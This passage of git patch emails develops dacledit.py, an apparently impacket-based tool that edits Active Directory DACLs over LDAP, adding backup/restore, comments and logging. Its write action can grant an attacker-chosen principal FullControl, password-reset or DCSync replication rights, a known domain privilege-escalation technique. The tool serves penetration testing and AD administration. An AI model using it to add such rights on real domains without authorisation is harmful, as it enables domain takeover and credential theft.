group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication (128 or 256 bits)') - group = parser.add_argument_group('connection') - group.add_argument('-dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller or KDC (Key Distribution Center)' - ' for Kerberos. If omitted it will use the domain part (FQDN) specified in the identity parameter') + + auth_con = parser.add_argument_group('authentication & connection') + auth_con.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + auth_con.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + auth_con.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line') + auth_con.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication (128 or 256 bits)') + auth_con.add_argument('-dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller or KDC (Key Distribution Center) for Kerberos. If omitted it will use the domain part (FQDN) specified in the identity parameter') + + principal_parser = parser.add_argument_group("principal", description="Principal object to read/edit the DACL of") + principal_parser.add_argument("-principal", dest="principal_sAMAccountName", metavar="NAME", type=str, required=False, help="sAMAccountName") + principal_parser.add_argument("-principal-sid", dest="principal_SID", metavar="SID", type=str, required=False, help="Security IDentifier") + principal_parser.add_argument("-principal-dn", dest="principal_DN", metavar="DN", type=str, required=False, help="Distinguished Name") + + target_parser = parser.add_argument_group("target", description="Object, controlled by the attacker, to reference in the ACE to create or to filter when printing a DACL") + target_parser.add_argument("-target", dest="target_sAMAccountName", metavar="NAME", type=str, required=False, help="sAMAccountName") + target_parser.add_argument("-target-sid", dest="target_SID", metavar="SID", type=str, required=False, help="Security IDentifier") + target_parser.add_argument("-target-dn", dest="target_DN", metavar="DN", type=str, required=False, help="Distinguished Name") + + dacl_parser = parser.add_argument_group("dacl editor") + dacl_parser.add_argument('-action', choices=['read', 'write', 'remove'], nargs='?', default='read', help='Action to operate on the DACL') + dacl_parser.add_argument('-rights', choices=['FullControl', 'ResetPassword', 'WriteMembers', 'DCSync'], nargs='?', default='FullControl', help='Rights to write/remove in the target DACL (default: FullControl)') + dacl_parser.add_argument('-rights-guid', type=str, help='Manual GUID representing the right to write/remove') if len(sys.argv) == 1: parser.print_help() From aa8b16ee8f6a00fac521a0af5e163931ca2dc93b Mon Sep 17 00:00:00 2001 From: Shutdown Date: Sat, 2 Apr 2022 00:13:10 +0200 Subject: [PATCH 104/163] Added backup and restore --- examples/dacledit.py | 97 ++++++++++++++++++++++++++++---------------- 1 file changed, 61 insertions(+), 36 deletions(-) diff --git a/examples/dacledit.py b/examples/dacledit.py index ff5d4cc79..c220839ff 100644 --- a/examples/dacledit.py +++ b/examples/dacledit.py @@ -17,9 +17,15 @@ # import argparse +import binascii +import codecs +import json import logging +import re import sys import traceback +import datetime + import ldap3 import ssl import ldapdomaindump @@ -197,6 +203,7 @@ def __init__(self, ldap_server, ldap_session, args): self.rights = args.rights self.rights_guid = args.rights_guid + self.filename = args.filename logging.debug('Initializing domainDumper()') cnf = ldapdomaindump.domainDumpConfig() @@ -204,29 +211,15 @@ def __init__(self, ldap_server, ldap_session, args): self.domain_dumper = ldapdomaindump.domainDumper(self.ldap_server, self.ldap_session, cnf) # Searching for target account with its security descriptor - # Set SD flags to only query for DACL - controls = security_descriptor_control(sdflags=0x04) - if self.target_sAMAccountName is not None: - _lookedup_principal = self.target_sAMAccountName - self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(_lookedup_principal), attributes=['nTSecurityDescriptor'], controls=controls) - elif self.target_SID is not None: - _lookedup_principal = self.target_SID - self.ldap_session.search(self.domain_dumper.root, '(objectSid=%s)' % _lookedup_principal, attributes=['nTSecurityDescriptor'], controls=controls) - elif self.target_DN is not None: - _lookedup_principal = self.target_DN - self.ldap_session.search(self.domain_dumper.root, '(distinguishedName=%s)' % _lookedup_principal, attributes=['nTSecurityDescriptor'], controls=controls) - try: - self.target_principal = self.ldap_session.entries[0] - logging.debug('Target principal found in LDAP (%s)' % _lookedup_principal) - except IndexError: - raise('Target principal not found in LDAP (%s)' % _lookedup_principal) + self.search_principal_security_descriptor() # Extract security descriptor data - secDescData = self.target_principal['nTSecurityDescriptor'].raw_values[0] - self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) + self.principal_raw_security_descriptor = self.target_principal['nTSecurityDescriptor'].raw_values[0] + self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.principal_raw_security_descriptor) # Searching for the principal SID if any principal argument was given and principal_SID wasn't - if self.principal_SID is None: + if self.principal_SID is None and self.principal_sAMAccountName is not None or self.principal_DN is not None: + _lookedup_principal = "" if self.principal_sAMAccountName is not None: _lookedup_principal = self.principal_sAMAccountName self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(_lookedup_principal), attributes=['objectSid']) @@ -246,11 +239,6 @@ def read(self): return def write(self): - # if self.target_SID is not None: - # assert self.target_SID == format_sid(self.target_principal['objectSid'].raw_values[0]) - # else: - # self.target_SID = self.target_principal['objectSid'].raw_values[0] - if self.rights == "FullControl" and self.rights_guid is None: logging.info("Appending ACE (%s --(GENERIC_ALL)--> %s)" % (self.principal_SID, format_sid(self.target_SID))) self.principal_security_descriptor['Dacl'].aces.append(self.create_access_allowed_ace(SIMPLE_PERMISSIONS.FullControl.value, self.principal_SID)) @@ -258,6 +246,7 @@ def write(self): for rights_guid in self.build_guids_for_rights(): logging.debug("Appending ACE (%s --(%s)--> %s)" % (self.principal_SID, rights_guid, format_sid(self.target_SID))) self.principal_security_descriptor['Dacl'].aces.append(self.create_access_allowed_object_ace(rights_guid, self.principal_SID)) + self.backup() self.modify_secDesc_for_dn(self.target_principal.entry_dn, self.principal_security_descriptor) return @@ -296,21 +285,49 @@ def remove(self): i += 1 if dacl_must_be_replaced: self.principal_security_descriptor['Dacl'].aces = new_dacl + self.backup() self.modify_secDesc_for_dn(self.target_principal.entry_dn, self.principal_security_descriptor) else: logging.info("Nothing to remove...") - def flush(self): - # todo but implement a check, it could be a reeeeeaaally bad idea to flush an object DACL - pass - - def backup(self, controlled_account, backup_filename): - # todo, check the format of the restore file when using ntlmrelayx, it could be nice to bring support for this, aclpwn is a bit old and not maintained anymore - pass - - def restore(self, controlled_account, backup_filename): - # todo, check the format of the restore file when using ntlmrelayx, it could be nice to bring support for this, aclpwn is a bit old and not maintained anymore - pass + def backup(self): + backup = {} + backup["sd"] = binascii.hexlify(self.principal_raw_security_descriptor).decode('utf-8') + backup["dn"] = self.target_principal.entry_dn + if not self.filename: + self.filename = 'dacledit-%s.bak' % datetime.datetime.now().strftime("%Y%m%d-%H%M%S") + with codecs.open(self.filename, 'w', 'utf-8') as outfile: + json.dump(backup, outfile) + logging.info('DACL backed up to %s', self.filename) + + def restore(self): + with codecs.open(self.filename, 'r', 'utf-8') as infile: + restore = json.load(infile) + assert "sd" in restore.keys() + assert "dn" in restore.keys() + new_raw_security_descriptor = binascii.unhexlify(restore["sd"].encode('utf-8')) + new_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=new_raw_security_descriptor) + self.backup() + self.modify_secDesc_for_dn(self.target_principal.entry_dn, new_security_descriptor) + + def search_principal_security_descriptor(self): + _lookedup_principal = "" + # Set SD flags to only query for DACL + controls = security_descriptor_control(sdflags=0x04) + if self.target_sAMAccountName is not None: + _lookedup_principal = self.target_sAMAccountName + self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(_lookedup_principal), attributes=['nTSecurityDescriptor'], controls=controls) + elif self.target_SID is not None: + _lookedup_principal = self.target_SID + self.ldap_session.search(self.domain_dumper.root, '(objectSid=%s)' % _lookedup_principal, attributes=['nTSecurityDescriptor'], controls=controls) + elif self.target_DN is not None: + _lookedup_principal = self.target_DN + self.ldap_session.search(self.domain_dumper.root, '(distinguishedName=%s)' % _lookedup_principal, attributes=['nTSecurityDescriptor'], controls=controls) + try: + self.target_principal = self.ldap_session.entries[0] + logging.debug('Target principal found in LDAP (%s)' % _lookedup_principal) + except IndexError: + raise ('Target principal not found in LDAP (%s)' % _lookedup_principal) def get_user_info(self, samname): self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(samname), attributes=['objectSid']) @@ -527,7 +544,8 @@ def parse_args(): target_parser.add_argument("-target-dn", dest="target_DN", metavar="DN", type=str, required=False, help="Distinguished Name") dacl_parser = parser.add_argument_group("dacl editor") - dacl_parser.add_argument('-action', choices=['read', 'write', 'remove'], nargs='?', default='read', help='Action to operate on the DACL') + dacl_parser.add_argument('-action', choices=['read', 'write', 'remove', 'backup', 'restore'], nargs='?', default='read', help='Action to operate on the DACL') + dacl_parser.add_argument('-file', dest="filename", type=str, help='Filename and path for the backup (optional)/restore (required)') dacl_parser.add_argument('-rights', choices=['FullControl', 'ResetPassword', 'WriteMembers', 'DCSync'], nargs='?', default='FullControl', help='Rights to write/remove in the target DACL (default: FullControl)') dacl_parser.add_argument('-rights-guid', type=str, help='Manual GUID representing the right to write/remove') @@ -766,6 +784,9 @@ def main(): logging.critical('-principal, -principal-sid, or -principal-dn should be specified when using -action write') sys.exit(1) + if args.action == "restore" and not args.filename: + logging.critical('-file is required when using -action restore') + domain, username, password, lmhash, nthash = parse_identity(args) if len(nthash) > 0 and lmhash == "": lmhash = "aad3b435b51404eeaad3b435b51404ee" @@ -781,6 +802,10 @@ def main(): dacledit.remove() elif args.action == 'flush': dacledit.flush() + elif args.action == 'backup': + dacledit.backup() + elif args.action == 'restore': + dacledit.restore() except Exception as e: if logging.getLogger().level == logging.DEBUG: traceback.print_exc() From ee7eb8b206da73316dcd7b77bdcb8a2334b5f93a Mon Sep 17 00:00:00 2001 From: BlWasp Date: Sat, 2 Apr 2022 02:47:23 +0000 Subject: [PATCH 105/163] Add comments, improve logging and Exception handling corrections --- examples/dacledit.py | 126 +++++++++++++++++++++++++++++++++++++++++-- 1 file changed, 121 insertions(+), 5 deletions(-) diff --git a/examples/dacledit.py b/examples/dacledit.py index c220839ff..e8332dc48 100644 --- a/examples/dacledit.py +++ b/examples/dacledit.py @@ -47,6 +47,7 @@ OBJECT_TYPES_GUID.update(SCHEMA_OBJECTS) OBJECT_TYPES_GUID.update(EXTENDED_RIGHTS) +# Universal SIDs WELL_KNOWN_SIDS = { 'S-1-0': 'Null Authority', 'S-1-0-0': 'Nobody', @@ -125,6 +126,9 @@ } +# GUID rights enum +# GUID thats permits to identify extended rights in an ACE +# https://docs.microsoft.com/en-us/windows/win32/adschema/a-rightsguid class RIGHTS_GUID(Enum): WriteMembers = "bf9679c0-0de6-11d0-a285-00aa003049e2" ResetPassword = "00299570-246d-11d0-a768-00aa006e0529" @@ -132,6 +136,9 @@ class RIGHTS_GUID(Enum): DS_Replication_Get_Changes_All = "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2" +# ACE flags enum +# New ACE at the end of SACL for inheritance and access return system-audit +# https://docs.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-addauditaccessobjectace class ACE_FLAGS(Enum): CONTAINER_INHERIT_ACE = ldaptypes.ACE.CONTAINER_INHERIT_ACE FAILED_ACCESS_ACE_FLAG = ldaptypes.ACE.FAILED_ACCESS_ACE_FLAG @@ -142,11 +149,17 @@ class ACE_FLAGS(Enum): SUCCESSFUL_ACCESS_ACE_FLAG = ldaptypes.ACE.SUCCESSFUL_ACCESS_ACE_FLAG +# ACE access allowed flags enum +# For an access allowed ACE, flags that indicate if the ObjectType and the InheritedObjecType are set with a GUID +# https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-access_allowed_object_ace class ALLOWED_OBJECT_ACE_FLAGS(Enum): ACE_OBJECT_TYPE_PRESENT = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT ACE_INHERITED_OBJECT_TYPE_PRESENT = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_INHERITED_OBJECT_TYPE_PRESENT +# Access Mask enum +# Access mask permits to encode principal's rights to an object. This is the rights the principal behind the specified SID has +# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/7a53f60e-e730-4dfe-bbe9-b21b62eb790b class ACCESS_MASK(Enum): GenericRead = 0x80000000 GenericWrite = 0x40000000 @@ -170,12 +183,16 @@ class ACCESS_MASK(Enum): ReadData = 0x00000001 +# Simple permissions enum +# Simple permissions are combinaisons of extended permissions class SIMPLE_PERMISSIONS(Enum): FullControl = 0xf01ff Read = 0x20094 Write = 0x200bc +# Mask ObjectType field enum +# Possible values for the Mask field in object-specific ACE (permitting to specify extended rights in the ObjectType field for example) class ALLOWED_OBJECT_ACE_MASK_FLAGS(Enum): ControlAccess = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CONTROL_ACCESS CreateChild = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CREATE_CHILD @@ -228,17 +245,25 @@ def __init__(self, ldap_server, ldap_session, args): self.ldap_session.search(self.domain_dumper.root, '(distinguishedName=%s)' % _lookedup_principal, attributes=['objectSid']) try: self.principal_SID = format_sid(self.ldap_session.entries[0]['objectSid'].raw_values[0]) - logging.debug("Found principal SID to write in ACE(s): %s" % self.principal_SID) + logging.debug("Found principal SID: %s" % self.principal_SID) except IndexError: - raise('Principal SID not found in LDAP (%s)' % _lookedup_principal) + logging.error('Principal SID not found in LDAP (%s)' % _lookedup_principal) + exit(1) + # Main read funtion + # Prints the parsed DACL def read(self): parsed_dacl = self.parseDACL(self.principal_security_descriptor['Dacl']) self.printparsedDACL(parsed_dacl) return + + # Main write function + # Attempts to add a new ACE to a DACL def write(self): + # Creates ACEs with the specified GUIDs and the SID, or FullControl if no GUID is specified + # Append the ACEs in the DACL locally if self.rights == "FullControl" and self.rights_guid is None: logging.info("Appending ACE (%s --(GENERIC_ALL)--> %s)" % (self.principal_SID, format_sid(self.target_SID))) self.principal_security_descriptor['Dacl'].aces.append(self.create_access_allowed_ace(SIMPLE_PERMISSIONS.FullControl.value, self.principal_SID)) @@ -246,12 +271,19 @@ def write(self): for rights_guid in self.build_guids_for_rights(): logging.debug("Appending ACE (%s --(%s)--> %s)" % (self.principal_SID, rights_guid, format_sid(self.target_SID))) self.principal_security_descriptor['Dacl'].aces.append(self.create_access_allowed_object_ace(rights_guid, self.principal_SID)) + # Backups current DACL before add the new one self.backup() + # Effectively push the DACL with the new ACE self.modify_secDesc_for_dn(self.target_principal.entry_dn, self.principal_security_descriptor) return + + # Attempts to remove an ACE from the DACL + # To do it, a new DACL is built locally with all the ACEs that must NOT BE removed, and this new DACL is pushed on the server def remove(self): compare_aces = [] + # Creates ACEs with the specified GUIDs and the SID, or FullControl if no GUID is specified + # These ACEs will be used as comparison templates if self.rights == "FullControl" and self.rights_guid is None: compare_aces.append(self.create_access_allowed_ace(SIMPLE_PERMISSIONS.FullControl.value, self.principal_SID)) else: @@ -263,6 +295,14 @@ def remove(self): for ace in self.principal_security_descriptor['Dacl'].aces: ace_must_be_removed = False for compare_ace in compare_aces: + # To be sure the good ACEs are removed, multiple fields are compared between the templates and the ACEs in the DACL + # - ACE type + # - ACE flags + # - Access masks + # - Revision + # - SubAuthorityCount + # - SubAuthority + # - IdentifierAuthority value if ace['AceType'] == compare_ace['AceType'] \ and ace['AceFlags'] == compare_ace['AceFlags']\ and ace['Ace']['Mask']['Mask'] == compare_ace['Ace']['Mask']['Mask']\ @@ -270,6 +310,7 @@ def remove(self): and ace['Ace']['Sid']['SubAuthorityCount'] == compare_ace['Ace']['Sid']['SubAuthorityCount']\ and ace['Ace']['Sid']['SubAuthority'] == compare_ace['Ace']['Sid']['SubAuthority']\ and ace['Ace']['Sid']['IdentifierAuthority']['Value'] == compare_ace['Ace']['Sid']['IdentifierAuthority']['Value']: + # If the ACE has an ObjectType, the GUIDs must match if 'ObjectType' in ace['Ace'].fields.keys() and 'ObjectType' in compare_ace['Ace'].fields.keys(): if ace['Ace']['ObjectType'] == compare_ace['Ace']['ObjectType']: ace_must_be_removed = True @@ -277,12 +318,14 @@ def remove(self): else: ace_must_be_removed = True dacl_must_be_replaced = True + # If the ACE doesn't match any ACEs from the template list, it is added to the DACL that will be pushed if not ace_must_be_removed: new_dacl.append(ace) elif logging.getLogger().level == logging.DEBUG: logging.debug("This ACE will be removed") self.printparsedACE(self.parseACE(ace)) i += 1 + # If at least one ACE must been removed if dacl_must_be_replaced: self.principal_security_descriptor['Dacl'].aces = new_dacl self.backup() @@ -290,6 +333,9 @@ def remove(self): else: logging.info("Nothing to remove...") + + # Permits to backup a DACL before a modification + # This function is called before any writing action (write, remove or restore) def backup(self): backup = {} backup["sd"] = binascii.hexlify(self.principal_raw_security_descriptor).decode('utf-8') @@ -300,16 +346,24 @@ def backup(self): json.dump(backup, outfile) logging.info('DACL backed up to %s', self.filename) + + # Permits to restore a saved DACL def restore(self): + # Opens and load the file where the DACL has been saved with codecs.open(self.filename, 'r', 'utf-8') as infile: restore = json.load(infile) assert "sd" in restore.keys() assert "dn" in restore.keys() + # Extracts the Security Descriptor and converts it to the good ldaptypes format new_raw_security_descriptor = binascii.unhexlify(restore["sd"].encode('utf-8')) new_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=new_raw_security_descriptor) + # Do a backup of the actual DACL and push the restoration self.backup() self.modify_secDesc_for_dn(self.target_principal.entry_dn, new_security_descriptor) + logging.info('The DACL has been well restored.') + + # Attempts to retrieve the DACL in the Security Descriptor of the specified target def search_principal_security_descriptor(self): _lookedup_principal = "" # Set SD flags to only query for DACL @@ -327,8 +381,13 @@ def search_principal_security_descriptor(self): self.target_principal = self.ldap_session.entries[0] logging.debug('Target principal found in LDAP (%s)' % _lookedup_principal) except IndexError: - raise ('Target principal not found in LDAP (%s)' % _lookedup_principal) + loggin.error('Target principal not found in LDAP (%s)' % _lookedup_principal) + return + + # Attempts to retieve the SID and Distinguisehd Name from the sAMAccountName + # Not used for the moment + # - samname : a sAMAccountName def get_user_info(self, samname): self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(samname), attributes=['objectSid']) try: @@ -339,9 +398,14 @@ def get_user_info(self, samname): logging.error('User not found in LDAP: %s' % samname) return False + + # Attempts to resolve a SID and return the corresponding samaccountname + # - sid : the SID to resolve def resolveSID(self, sid): + # Tries to resolve the SID from the well known SIDs if sid in WELL_KNOWN_SIDS.keys(): return WELL_KNOWN_SIDS[sid] + # Tries to resolve the SID from the LDAP domain dump else: self.ldap_session.search(self.domain_dumper.root, '(objectSid=%s)' % sid, attributes=['samaccountname']) try: @@ -352,6 +416,9 @@ def resolveSID(self, sid): logging.debug('SID not found in LDAP: %s' % sid) return "" + + # Parses a full DACL + # - dacl : the DACL to parse, submitted in a Security Desciptor format def parseDACL(self, dacl): parsed_dacl = [] logging.info("Parsing DACL") @@ -362,8 +429,10 @@ def parseDACL(self, dacl): i += 1 return parsed_dacl + + # Parses an access mask to extract the different values from a simple permission + # - fsr : the access mask to parse def parsePerms(self, fsr): - # get simple permission _perms = [] for PERM in SIMPLE_PERMISSIONS: if (fsr & PERM.value) == PERM.value: @@ -374,40 +443,55 @@ def parsePerms(self, fsr): _perms.append(PERM.name) return _perms + + # Parses a specified ACE and extract the different values (Flags, Access Mask, Trustee, ObjectType, InheritedObjectType) + # - ace : the ACE to parse def parseACE(self, ace): + # For the moment, only the Allowed Access ACE are supported if ace['TypeName'] == "ACCESS_ALLOWED_ACE" or ace['TypeName'] == "ACCESS_ALLOWED_OBJECT_ACE": parsed_ace = {} parsed_ace['ACE Type'] = ace['TypeName'] + # Retrieves ACE's flags _ace_flags = [] for FLAG in ACE_FLAGS: if ace.hasFlag(FLAG.value): _ace_flags.append(FLAG.name) parsed_ace['ACE flags'] = ", ".join(_ace_flags) or "None" + # For standard ACE + # Extracts the access mask (by parsing the simple permissions) and the principal's SID if ace['TypeName'] == "ACCESS_ALLOWED_ACE": parsed_ace['Access mask'] = "%s (0x%x)" % (", ".join(self.parsePerms(ace['Ace']['Mask']['Mask'])), ace['Ace']['Mask']['Mask']) parsed_ace['Trustee (SID)'] = "%s (%s)" % (self.resolveSID(ace['Ace']['Sid'].formatCanonical()) or "UNKNOWN", ace['Ace']['Sid'].formatCanonical()) # todo match the SID with the object sAMAccountName ? + + # For object-specific ACE elif ace['TypeName'] == "ACCESS_ALLOWED_OBJECT_ACE": - _access_mask_flags = [] + # Extracts the mask values. These values will indicate the ObjectType purpose # todo check if this access mask parsing is okay + _access_mask_flags = [] for FLAG in ALLOWED_OBJECT_ACE_MASK_FLAGS: if ace['Ace']['Mask'].hasPriv(FLAG.value): _access_mask_flags.append(FLAG.name) parsed_ace['Access mask'] = ", ".join(_access_mask_flags) # todo match the SID with the object sAMAccountName ? + + # Extracts the ACE flag values and the trusted SID _object_flags = [] for FLAG in ALLOWED_OBJECT_ACE_FLAGS: if ace['Ace'].hasFlag(FLAG.value): _object_flags.append(FLAG.name) parsed_ace['Flags'] = ", ".join(_object_flags) or "None" parsed_ace['Trustee (SID)'] = "%s (%s)" % (self.resolveSID(ace['Ace']['Sid'].formatCanonical()) or "UNKNOWN", ace['Ace']['Sid'].formatCanonical()) + + # Extracts the ObjectType GUID values if ace['Ace']['ObjectTypeLen'] != 0: obj_type = bin_to_string(ace['Ace']['ObjectType']).lower() try: parsed_ace['Object type (GUID)'] = "%s (%s)" % (OBJECT_TYPES_GUID[obj_type], obj_type) except KeyError: parsed_ace['Object type (GUID)'] = "UNKNOWN (%s)" % obj_type + # Extracts the InheritedObjectType GUID values if ace['Ace']['InheritedObjectTypeLen'] != 0: inh_obj_type = bin_to_string(ace['Ace']['InheritedObjectType']).lower() try: @@ -415,6 +499,7 @@ def parseACE(self, ace): except KeyError: parsed_ace['Inherited type (GUID)'] = "UNKNOWN (%s)" % inh_obj_type else: + # If the ACE is not an access allowed logging.debug("ACE Type (%s) unsupported for parsing yet, feel free to contribute" % ace['TypeName']) parsed_ace = {} parsed_ace['ACE type'] = ace['TypeName'] @@ -426,7 +511,11 @@ def parseACE(self, ace): parsed_ace['DEBUG'] = "ACE type not supported for parsing by dacleditor.py, feel free to contribute" return parsed_ace + + # Prints a full DACL by printing each parsed ACE + # - parsed_dacl : a parsed DACL from parseDACL() def printparsedDACL(self, parsed_dacl): + # Attempts to retrieve the principal's SID if it's a write action if self.principal_SID is None and self.principal_sAMAccountName or self.principal_DN: if self.principal_sAMAccountName is not None: _lookedup_principal = self.principal_sAMAccountName @@ -443,6 +532,7 @@ def printparsedDACL(self, parsed_dacl): logging.info("Printing parsed DACL") i = 0 + # If a principal has been specified, only the ACE where he is the trustee will be printed if self.principal_SID is not None: logging.info("Filtering results for SID (%s)" % self.principal_SID) for parsed_ace in parsed_dacl: @@ -455,11 +545,16 @@ def printparsedDACL(self, parsed_dacl): self.printparsedACE(parsed_ace) i += 1 + + # Prints properly a parsed ACE + # - parsed_ace : a parsed ACE from parseACE() def printparsedACE(self, parsed_ace): elements_name = list(parsed_ace.keys()) for attribute in elements_name: logging.info(" %-26s: %s" % (attribute, parsed_ace[attribute])) + + # Retrieves the GUIDs for the specified rights def build_guids_for_rights(self): _rights_guids = [] if self.rights_guid is not None: @@ -470,11 +565,18 @@ def build_guids_for_rights(self): _rights_guids = [RIGHTS_GUID.ResetPassword.value] elif self.rights == "DCSync": _rights_guids = [RIGHTS_GUID.DS_Replication_Get_Changes.value, RIGHTS_GUID.DS_Replication_Get_Changes_All.value] + logging.debug('Built GUID: %s', _rights_guids) return _rights_guids + + # Attempts to push the locally built DACL to the remote server into the security descriptor of the specified principal + # The target principal is specified with its Distinguished Name + # - dn : the principal's Distinguished Name to modify + # - secDesc : the Security Descriptor with the new DACL to push def modify_secDesc_for_dn(self, dn, secDesc): data = secDesc.getData() controls = security_descriptor_control(sdflags=0x04) + logging.debug('Attempts to modify the Security Descriptor.') self.ldap_session.modify(dn, {'nTSecurityDescriptor': (ldap3.MODIFY_REPLACE, [data])}, controls=controls) if self.ldap_session.result['result'] == 0: logging.info('DACL modified successfully!') @@ -488,6 +590,11 @@ def modify_secDesc_for_dn(self, dn, secDesc): else: logging.error('The server returned an error: %s', self.ldap_session.result['message']) + + # Builds a standard allowed access ACE for a specified access mask (rights) and a specified SID (the principal who obtains the right) + # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/72e7c7ea-bc02-4c74-a619-818a16bf6adb + # - access_mask : the allowed access mask + # - sid : the principal's SID def create_access_allowed_ace(self, access_mask, sid): nace = ldaptypes.ACE() nace['AceType'] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE @@ -498,8 +605,15 @@ def create_access_allowed_ace(self, access_mask, sid): acedata['Sid'] = ldaptypes.LDAP_SID() acedata['Sid'].fromCanonical(sid) nace['Ace'] = acedata + logging.debug('Allowed access ACE created.') return nace + + # Builds an object-specific allowed access ACE for a specified ObjectType (an extended right, a property, etc, to add) for a specified SID (the principal who obtains the right) + # The Mask is "ADS_RIGHT_DS_CONTROL_ACCESS" (the ObjectType GUID will identify an extended access right) + # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/c79a383c-2b3f-4655-abe7-dcbb7ce0cfbe + # - privguid : the ObjectType (an Extended Right here) + # - sid : the principal's SID def create_access_allowed_object_ace(self, privguid, sid): nace = ldaptypes.ACE() nace['AceType'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE @@ -512,8 +626,10 @@ def create_access_allowed_object_ace(self, privguid, sid): acedata['Sid'] = ldaptypes.LDAP_SID() acedata['Sid'].fromCanonical(sid) assert sid == acedata['Sid'].formatCanonical() + # This ACE flag verifes if the ObjectType is valid acedata['Flags'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT nace['Ace'] = acedata + logging.debug('Object-specific allowed access ACE created.') return nace From 3b89ddf651a823118c26e96111fc87948255bc50 Mon Sep 17 00:00:00 2001 From: BlWasp Date: Sat, 2 Apr 2022 02:56:03 +0000 Subject: [PATCH 106/163] Typo error --- examples/dacledit.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/examples/dacledit.py b/examples/dacledit.py index e8332dc48..f1bdc3fa6 100644 --- a/examples/dacledit.py +++ b/examples/dacledit.py @@ -381,7 +381,7 @@ def search_principal_security_descriptor(self): self.target_principal = self.ldap_session.entries[0] logging.debug('Target principal found in LDAP (%s)' % _lookedup_principal) except IndexError: - loggin.error('Target principal not found in LDAP (%s)' % _lookedup_principal) + logging.error('Target principal not found in LDAP (%s)' % _lookedup_principal) return From 472101d2fcd94575ec51118cc816aa912d5e469e Mon Sep 17 00:00:00 2001 From: Shutdown Date: Sun, 3 Apr 2022 00:20:41 +0200 Subject: [PATCH 107/163] Improving restore logic --- examples/dacledit.py | 26 +++++++++++++++++--------- 1 file changed, 17 insertions(+), 9 deletions(-) diff --git a/examples/dacledit.py b/examples/dacledit.py index f1bdc3fa6..305ce6424 100644 --- a/examples/dacledit.py +++ b/examples/dacledit.py @@ -227,12 +227,12 @@ def __init__(self, ldap_server, ldap_session, args): cnf.basepath = None self.domain_dumper = ldapdomaindump.domainDumper(self.ldap_server, self.ldap_session, cnf) - # Searching for target account with its security descriptor - self.search_principal_security_descriptor() - - # Extract security descriptor data - self.principal_raw_security_descriptor = self.target_principal['nTSecurityDescriptor'].raw_values[0] - self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.principal_raw_security_descriptor) + if self.target_sAMAccountName or self.target_SID or self.target_DN: + # Searching for target account with its security descriptor + self.search_target_principal_security_descriptor() + # Extract security descriptor data + self.principal_raw_security_descriptor = self.target_principal['nTSecurityDescriptor'].raw_values[0] + self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.principal_raw_security_descriptor) # Searching for the principal SID if any principal argument was given and principal_SID wasn't if self.principal_SID is None and self.principal_sAMAccountName is not None or self.principal_DN is not None: @@ -265,7 +265,7 @@ def write(self): # Creates ACEs with the specified GUIDs and the SID, or FullControl if no GUID is specified # Append the ACEs in the DACL locally if self.rights == "FullControl" and self.rights_guid is None: - logging.info("Appending ACE (%s --(GENERIC_ALL)--> %s)" % (self.principal_SID, format_sid(self.target_SID))) + logging.debug("Appending ACE (%s --(GENERIC_ALL)--> %s)" % (self.principal_SID, format_sid(self.target_SID))) self.principal_security_descriptor['Dacl'].aces.append(self.create_access_allowed_ace(SIMPLE_PERMISSIONS.FullControl.value, self.principal_SID)) else: for rights_guid in self.build_guids_for_rights(): @@ -357,14 +357,22 @@ def restore(self): # Extracts the Security Descriptor and converts it to the good ldaptypes format new_raw_security_descriptor = binascii.unhexlify(restore["sd"].encode('utf-8')) new_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=new_raw_security_descriptor) + + self.target_DN = restore["dn"] + # Searching for target account with its security descriptor + self.search_target_principal_security_descriptor() + # Extract security descriptor data + self.principal_raw_security_descriptor = self.target_principal['nTSecurityDescriptor'].raw_values[0] + self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.principal_raw_security_descriptor) + # Do a backup of the actual DACL and push the restoration self.backup() - self.modify_secDesc_for_dn(self.target_principal.entry_dn, new_security_descriptor) + self.modify_secDesc_for_dn(self.target_DN, new_security_descriptor) logging.info('The DACL has been well restored.') # Attempts to retrieve the DACL in the Security Descriptor of the specified target - def search_principal_security_descriptor(self): + def search_target_principal_security_descriptor(self): _lookedup_principal = "" # Set SD flags to only query for DACL controls = 